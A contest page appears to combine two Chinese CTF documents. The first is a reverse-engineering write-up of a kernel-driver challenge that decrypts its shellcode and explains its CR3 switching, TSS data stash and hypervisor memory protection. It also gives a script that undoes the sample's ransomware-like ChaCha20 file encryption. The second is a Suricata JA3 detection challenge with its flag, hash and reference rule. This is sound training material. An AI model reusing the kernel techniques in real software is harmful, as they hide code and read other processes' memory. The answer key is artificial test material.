对于第一种,展开跳转变成这样.所以可以直接patch掉.
对于第二种,展开call变成这样,所以也可以直接patch掉.
提取字节码,使用010替换第一种.
替换第二种.
重新用ida打开,发现可以正常解析了.
反编译内容和任意门那题大致相同(详见公众号5月份官方题解),在此不再赘述.因为这题少了混淆,所以可以直接定位到shellcode解密算法和shellcode入口点地址.编写python脚本解密shellcode:
def readword(arr,index):
return (arr[index])|(arr[index+1]<<8)
def readdword(arr,index):
return readword(arr,index)|(readword(arr,index+2)<<16)
def writedword(arr,start,data):
arr[start+3]=(data>>24)&0xff
arr[start+2]=(data>>16)&0xff
arr[start+1]=(data>>8)&0xff
arr[start]=data&0xff
m=bytearray(open('./5h311c0de','rb').read())
for i in range(0,len(m),4):
x=readdword(m,i)
x+=0xc0debabe
x&=0xffffffff
x = (x >> 15) | ((x << 17) & 0xffffffff)
x^=0x1337d00d
writedword(m,i,x)
n=open('./5h311c0de_dec','wb')
n.write(bytes(m))
n.close()
shellcode入口点地址1232==0x4d0.使用ida定位到入口点.未命名的函数41d和4f10接下来重点说明.
41d,往tss段偏移12处写入一个DWORD.
这个是tss段结构,可以看到偏移12处存储着esp1,就是一环的esp指针.而众所周知,在win下,一环和二环是不被使用的,所以这里面肯定不会存着正常的数据.
回到主函数,发现这个函数写入的是一段分配并清空的内存.猜想这段内存一定存着一些全局的数据.
同样地,也能找到读取tss段这个偏移的函数,验证了这个猜想.
4f10,获取ctx指定偏移存的函数指针的方法和5月份那题相同,这里直接写出,不再赘述,详细方法请阅读公众号5月题解.可以看出,这个函数是创建一个线程,并返回线程对象.
回到主函数,现在唯一的线索就是这个偏移.
因为shellcode是从sys中提取的,在sys文件中,代码的起始地址相对于驱动基址的偏移是0x1000,所以获取驱动基址需要减掉0x1000,而shellcode去掉了sys文件头,无需减去这个值,所以计算的偏移值需要预先加上0x1000,再减去0x1000,才能正确.所以24720-0x1000==0x6090-0x1000==0x5090,跟进对应函数.
关于获取当前进程对象的解释也在5月份的文章里有提到,方法相同,但由于本题运行环境是win10,导致偏移不同,故在此不再赘述.
不过对于5月份的文章我需要纠正一个点:也可以通过修改cr3在win10中访问其他进程的内存,但会产生一个问题,如果是在一个多线程进程中修改cr3,那么从修改成对应进程的cr3到修改回原来的cr3的这段时间里会存在toctou漏洞,因为如果这段时间这个线程被其他线程抢占,又由于一个进程只有一个cr3,所以其他线程的内存访问可能会发生错误,导致未定义行为,不过这是小概率事件,至少目前没发生过#(滑稽)
关于peb,他存在在EPROCESS结构体中,在加载好对应版本符号的windbg中输入dt _EPROCESS可得到PEB存在在EPROCESS结构体的+0x14c偏移处:
PEB存在于用户态内存中,所以读取的时候不能直接读取,所有用户态内存在内核中都需要使用MmCopyVirtualMemory来读写.
输入dt _PEB,可得到用户态基址存在于PEB的+8偏移处:
这就是代码里的硬编码偏移的来源.
看到这些对于进程用户态的操作,应当联想到题目中的exe文件,打开一看,果然存在特征码.确定这个被保护的进程就是题目中的exe文件.
vt框架与题目相关的更改只有增加了读写/执行分离的相关操作,对于读写/执行分离保护text段的部分,先使用5月份所述方法找到vm_exit handler之后,定位到case 48,48对应异常码可通过查阅intel白皮书得到:
所以这个handler就是ept异常的handler.
这就是读写/执行分离的主要逻辑,其实很简单.但是解题也可以不看这部分,就没必要多分析了.相关的知识点可以查阅intel官方白皮书.
使用如下python脚本解密exe文件:
def readword(arr,index):
return (arr[index])|(arr[index+1]<<8)
def writeword(arr,start,data):
arr[start+1]=(data>>8)&0xff
arr[start]=data&0xff
m=bytearray(open('.\\suspicious_executable.exe','rb').read())
for i in range(0x1002,0x2000,2):
x=readword(m,i)
x^=0xcafe
x = ((x << 5) & 0xffff) | (x >> 11)
x-=0xbabe
x&=0xffff
writeword(m,i,x)
n=open('.\\suspicious_executable.dec.exe','wb')
n.write(bytes(m))
n.close()
解密后可以看到跳转被patch后滑向了另一个跳转.
跟进,发现大量花指令.
将这个跳往自身的跳转展开,发现可以直接patch掉整段花指令.
发现两段,尝试用010替换为nop:
替换后打开,发现仍然不能完全反编译.应该还有花指令.
又找到一处,仍然采取同样方式替换.
发现完全正常了.
拼接路径指向与exe同文件夹下的flag.pptx,然后传入一个函数.重点分析这个函数.
进入函数,先获取api.获取api就是遍历导出表,没什么好说的.但是这里可以注意一下:
可以观察到,这些api都来自于ntdll,所以只要获取ntdll基址,然后遍历导出表查找即可.在用户态,ldr加载顺序链表的表头就是ntdll,因为他是第一个加载的.所以取ldr表头即可得到ntdll基址.
这就是整个加密函数.使用chacha20将文件分为每块0x1000加密,不足部分也加密,加密时将密钥直接写入文件.实在是太简单了.不过这题注重考察读写/执行分离,所以这部分就没那么难#(滑稽)
打开文件,使用NtCreateFile.
删除文件,使用NtDeleteFile.
跟进401846.
可以发现密钥流长度为64.
符合chacha20的ctx结构,但是初始化值发生了变异.
pack函数无异常.
跟进40188c.
典型流加密,无异常.
根据算法常量确定为chacha20.
四分之一轮函数无异常.确定该加密算法为仅初始值变异的chacha20.
文件结构为:
于是写出文件解密脚本:
#虽然python解chacha20比较慢,但是懒得用c了#(滑稽)
def readdword(arr,index):
return (arr[index])|(arr[index+1]<<8)|(arr[index+2]<<16)|(arr[index+3]<<24)
def writedword(arr,start,data):
arr[start+3]=(data>>24)&0xff
arr[start+2]=(data>>16)&0xff
arr[start+1]=(data>>8)&0xff
arr[start]=data&0xff
def rot32(a,b):
return ((a<<b)&0xffffffff)|(a>>(32-b))
def quarterround(x, a, b, c, d):
x[a]=(x[a]+x[b])&0xffffffff
x[d]=rot32(x[d]^x[a],16)
x[c]=(x[c]+x[d])&0xffffffff
x[b]=rot32(x[b]^x[c],12)
x[a]=(x[a]+x[b])&0xffffffff
x[d]=rot32(x[d]^x[a],8)
x[c]=(x[c]+x[d])&0xffffffff
x[b]=rot32(x[b]^x[c],7)
def dec_a_file(path):
file_bytes=open(path,'rb').read()
if file_bytes[:6]!=b'LOCKED':
print("error")
return
enced_file=bytearray(file_bytes[64:])
ctx=[0]*16
ctx[0]=0x900dbabe
ctx[1]=0x900dcafe
ctx[2]=0xbaadbabe
ctx[3]=0xbaadf00d
for i in range(4,12):
ctx[i]=readdword(file_bytes,6+(i-4)*4)
ctx[12]=1
for i in range(13,16):
ctx[i]=readdword(file_bytes,38+(i-13)*4)
i=0
keystream_8=[0]*64
while i<len(enced_file):
if i%64==0:
keystream_32=ctx[:]
for _ in range(10):
quarterround(keystream_32,0,4,8,12)
quarterround(keystream_32,1,5,9,13)
quarterround(keystream_32,2,6,10,14)
quarterround(keystream_32,3,7,11,15)
quarterround(keystream_32,0,5,10,15)
quarterround(keystream_32,1,6,11,12)
quarterround(keystream_32,2,7,8,13)
quarterround(keystream_32,3,4,9,14)
for j in range(16):
keystream_32[j]+=ctx[j]
ctx[12]+=1
for j in range(16):
writedword(keystream_8,j*4,keystream_32[j])
enced_file[i]^=keystream_8[i%64]
i+=1
out_file=open(path[:-6],'wb')
out_file.write(bytes(enced_file))
out_file.close()
dec_a_file("./flag.pptx.solar")
运行时间在我的机器上大约1秒.
解密后,就可以在ppt文件的最后一页找到flag了.
异常 Beacon
一、题目说明
1.1 场景背景
某企业安全运营中心收到 Windows 业务主机 10.0.9.80 的异常外联告警。该主机在正常远程运维和 RPC 通信之外，多次向外部地址建立加密 TLS 会话，连接不携带可直接识别业务域名的 SNI。IDS 已保留事件窗口内的网络流量。安全分析人员需要从混合流量中识别异常 TLS 客户端，提取稳定指纹，并编写可用于后续监测的 Suricata 检测规则。
1.2 任务目标
下载并校验公开流量文件 incident-public.pcap； 从 RDP、RPC 等正常背景流量中定位 10.0.9.80 发起的异常 TLS 会话； 分析 TLS ClientHello，提取异常客户端稳定的 JA3 MD5； 编写一条 Suricata alert tls 规则。规则不得依赖单条会话的客户端临时端口，并应围绕稳定 TLS 客户端特征进行检测； 将规则文件上传至题目页面。判题器会在公开 PCAP 和隐藏验证 PCAP 上离线回放，两套数据均恶意全命中且正常流量零误报后返回 Flag； 选手最终提交内容为一份只包含一条 Suricata alert tls 规则的文本文件。
1.3 Flag 格式说明
Flag 格式：flag{xxxxxxxx}，共 1 个 Flag。Flag 不写入 PCAP、规则或公开配置，由平台通过容器环境变量 FLAG 或只读 /flag.sh 注入。建议正式部署值：flag{abnormal_tls_beacon_detected}。如平台统一生成动态 Flag，以平台注入值为准。
二、环境信息
2.1 靶场架构
架构说明：
10.0.9.80：待调查的 Windows 业务主机； 10.0.100.7：正常运维或管理通信来源，在 PCAP 中产生 RDP、RPC 等背景流量； 10.0.100.74:443：异常 TLS 会话目的地址； 10.0.9.81:8080：题目服务，提供公开 PCAP 下载和规则上传接口； Suricata 不监听实时生产网络，只对固定公开、隐藏 PCAP 执行离线回放； 公开与隐藏数据中的恶意客户端 JA3 保持一致；v2 数据主要改变会话时间和客户端临时端口。
2.2 部署方式
推荐使用 Docker Compose 部署：
cd ids-lab
FLAG='flag{abnormal_tls_beacon_detected}' docker compose up --build -d
docker compose ps
curl -fsS http://127.0.0.1:8080/api/health
curl -fsS http://127.0.0.1:8080/api/challenge
平台通过 /flag.sh 注入时：
#!/bin/sh
export FLAG='flag{abnormal_tls_beacon_detected}'
关键挂载关系：
2.3 环境依赖说明
部署端：
解题端：
Wireshark 3.6+ 或 tshark 3.6+； 可选使用 Suricata 6.0+ 在本地验证规则； 不要求运行可疑样本，不要求连接任何在线 C2，不要求攻击靶机。
三、靶场附件清单
3.1 交付附件
3.2 附件校验值
发布前必须将 player/README.md 中公开 PCAP 的 SHA-256 更新为 04eb...e3e2。当前 v2 压缩包内该字段仍残留上一构建版本的 e666...1469，不能作为最终审核包直接发布。
四、考点设计
4.1 排查路径
编号排查路径：
使用 SHA-256 确认附件完整性； 统计 TCP 会话，识别 10.0.9.80 与 10.0.100.7 之间的 RDP/RPC 背景通信； 使用 tls.handshake.type == 1 筛选 ClientHello； 聚焦 10.0.9.80 主动发起的 TLS 会话，发现目的地址 10.0.100.74:443； 对比 ClientHello：3 条会话均无 SNI，JA3 均为 7d4d7dd3fdae42b138be6dee2da073aa； 使用 JA3 作为跨会话稳定检测条件，避免依赖客户端临时端口 49266～49268； 编写并离线回放 Suricata 规则，确认 3 条恶意流全部告警且背景流量无告警； 上传规则，由平台继续在隐藏数据上验证。
4.2 考核点清单
4.3 干扰项设计
正常 RDP 流量：10.0.9.80:3389 与 10.0.100.7 之间存在持续通信，数据量明显大于部分 TLS 会话，用于防止选手仅按流量大小判断恶意性； 正常 RPC 流量：包含 TCP 135 和动态高端口通信，用于模拟真实 Windows 运维环境； 通用 443 端口：恶意流量使用常见 TLS 端口，不能仅按目的端口告警； 无 SNI：避免选手直接依赖域名，要求转向 ClientHello 指纹； 会话临时端口变化：公开流量使用 49266～49268，隐藏流量使用 49269～49271，防止硬编码单条公开流的源端口。
干扰程度控制原则：所有干扰项均是可解释的正常 Windows 网络行为，不使用畸形包、损坏 PCAP 或无关海量流量人为增加难度。通过会话方向、TLS 握手字段和重复指纹即可稳定区分。
4.4 前后题关联与引导
本题可作为「Windows 主机异常外联调查」题组中的检测落地题：
上一题可给出受影响主机 10.0.9.80，引导参赛者从该主机的网络行为入手； 本题要求从流量中提取稳定 JA3 并形成 Suricata 规则，将调查结论转化为检测能力； 本题返回的 Flag 表示规则已经通过公开和隐藏数据验证，可继续引导至下一题，例如使用告警时间关联主机日志、进程树或持久化机制； 若本题独立使用，题面直接公开靶机地址，不依赖其他题目即可完成。
五、Flag 及标准答案
5.1 Flag
5.2 标准答案
异常 TLS 客户端 JA3：
7d4d7dd3fdae42b138be6dee2da073aa
JA3 原始字符串：
771,49192-159-158-157-156-49195-49187-49191-49172-49171-61-60-53-47-49196-49188-49162-49161-106-64-56-50-10-19,65281-5-10-11-13-35,23-24,0
官方参考规则：
alert tls any any -> any any (msg:"IDS LAB malicious JA3"; ja3.hash; content:"7d4d7dd3fdae42b138be6dee2da073aa"; sid:9900001; rev:1;)
公开恶意流：
隐藏验证恶意流：
判题接受范围：不要求规则文本与参考规则完全相同。任何满足以下条件的单条规则均可通过：
以 alert tls 开头； 包含数值 sid； 通过 Suricata 语法检查； 在公开和隐藏数据集上命中全部预期恶意流； 不产生额外告警流； 不使用判题环境禁止的高风险关键字。
六、官方 WriteUp
6.1 解题工具清单
6.2 解题步骤
步骤一：校验并打开 PCAP
Linux：
sha256sum incident-public.pcap
Windows PowerShell：
Get-FileHash .\incident-public.pcap -Algorithm SHA256
期望结果：04eb2040137d87fdfaaf22b43da1d758052d9e198edd3ca776d26d699564e3e2。截图要求：保留校验命令、完整哈希和文件名。
步骤二：建立网络通信基线
使用 tshark 查看 TCP 会话：
tshark -r incident-public.pcap -q -z conv,tcp
或在 Wireshark 中打开 Statistics → Conversations → TCP。可以观察到：
10.0.9.80 与 10.0.100.7 之间存在 RDP、RPC 等背景通信； 10.0.9.80 主动向 10.0.100.74:443 建立多条 TLS 会话； 这些 443 会话使用不同客户端临时端口，但目的地址及 TLS 客户端特征一致。
截图要求：展示 TCP Conversations，并标出 10.0.9.80 → 10.0.100.74:443 的会话。
步骤三：筛选 TLS ClientHello
Wireshark 显示过滤器：
ip.src == 10.0.9.80 && tls.handshake.type == 1
tshark 命令：
tshark -r incident-public.pcap \
-Y 'ip.src == 10.0.9.80 && tls.handshake.type == 1' \
-T fields -E header=y -E separator='|' \
-e frame.time \
-e ip.src -e tcp.srcport \
-e ip.dst -e tcp.dstport \
-e tls.handshake.extensions_server_name \
-e tls.handshake.ja3
关键结果：
结论：异常客户端连续发起 3 条无 SNI TLS 会话，源端口变化但 JA3 完全一致。JA3 是比公开五元组更稳定的检测条件。截图要求：展开任一 ClientHello 的 TLS → JA3 字段，并同时保留源、目的地址和 SNI 为空的证据。
步骤四：编写 Suricata 规则
新建 candidate.rules：
alert tls any any -> any any (msg:"IDS LAB malicious JA3"; ja3.hash; content:"7d4d7dd3fdae42b138be6dee2da073aa"; sid:1000001; rev:1;)
规则说明：
alert tls any any → any any：检测任意方向、任意地址和端口上的 TLS，避免绑定公开五元组； ja3.hash：将后续 content 限定到 JA3 哈希缓冲区； content：匹配异常客户端的 32 位 JA3 MD5； sid：使用本地规则 SID；提交文件必须包含数值 SID。
步骤五：在公开 PCAP 上本地验证
rm -rf output-public
mkdir output-public
suricata -c runtime/suricata.yaml \
-r incident-public.pcap \
-S candidate.rules \
-l output-public \
-k none
查看告警流：
jq -r 'select(.event_type=="alert") |
[.src_ip,.src_port,.dest_ip,.dest_port,.proto] | @tsv' \
output-public/eve.json
期望命中 3 条恶意流，且没有其他流告警：
截图要求：展示 Suricata 正常完成回放及 EVE JSON 中的 3 条告警流。
步骤六：上传规则并获取 Flag
访问 http://10.0.9.81:8080； 选择 candidate.rules； 点击「上传并验证」； 判题器依次执行规则格式检查、Suricata 语法检查、公开 PCAP 回放和隐藏 PCAP 回放； 页面返回「规则通过公开及隐藏流量验证」以及 Flag。
正确验证结果应为：
截图要求：展示规则上传成功、两个数据集验证结果和最终 Flag。截图发布前应遮盖动态部署中的管理信息，但官方 WriteUp 必须保留完整 Flag。
5.题目投票
请选择您心中最具实战价值且最具创新突破的题目（可多选）